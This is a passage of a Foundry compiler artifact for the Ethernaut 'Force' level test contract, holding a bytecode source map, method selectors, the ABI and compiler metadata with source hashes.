31;;;;1661:8;1622:19;:49::i;:::-;1610:11;:62::i;:::-;1542:137::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;19823:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;19796:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19358:184::-;19428:6;19481:2;19469:9;19460:7;19456:23;19452:32;19449:52;;;19497:1;19494;19487:12;19449:52;-1:-1:-1;19520:16:155;;19358:184;-1:-1:-1;19358:184:155:o;19547:125::-;19612:9;;;19633:10;;;19630:36;;;19646:18;;:::i;19859:383::-;20056:2;20045:9;20038:21;20019:4;20082:45;20123:2;20112:9;20108:18;20100:6;20082:45;:::i;:::-;20175:9;20167:6;20163:22;20158:2;20147:9;20143:18;20136:50;20203:33;20229:6;20221;20203:33;:::i;:::-;20195:41;19859:383;-1:-1:-1;;;;;19859:383:155:o;20247:335::-;20326:6;20379:2;20367:9;20358:7;20354:23;20350:32;20347:52;;;20395:1;20392;20385:12;20347:52;20428:9;20422:16;20461:18;20453:6;20450:30;20447:50;;;20493:1;20490;20483:12;20447:50;20516:60;20568:7;20559:6;20548:9;20544:22;20516:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Force.t.sol\":\"TestForce\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc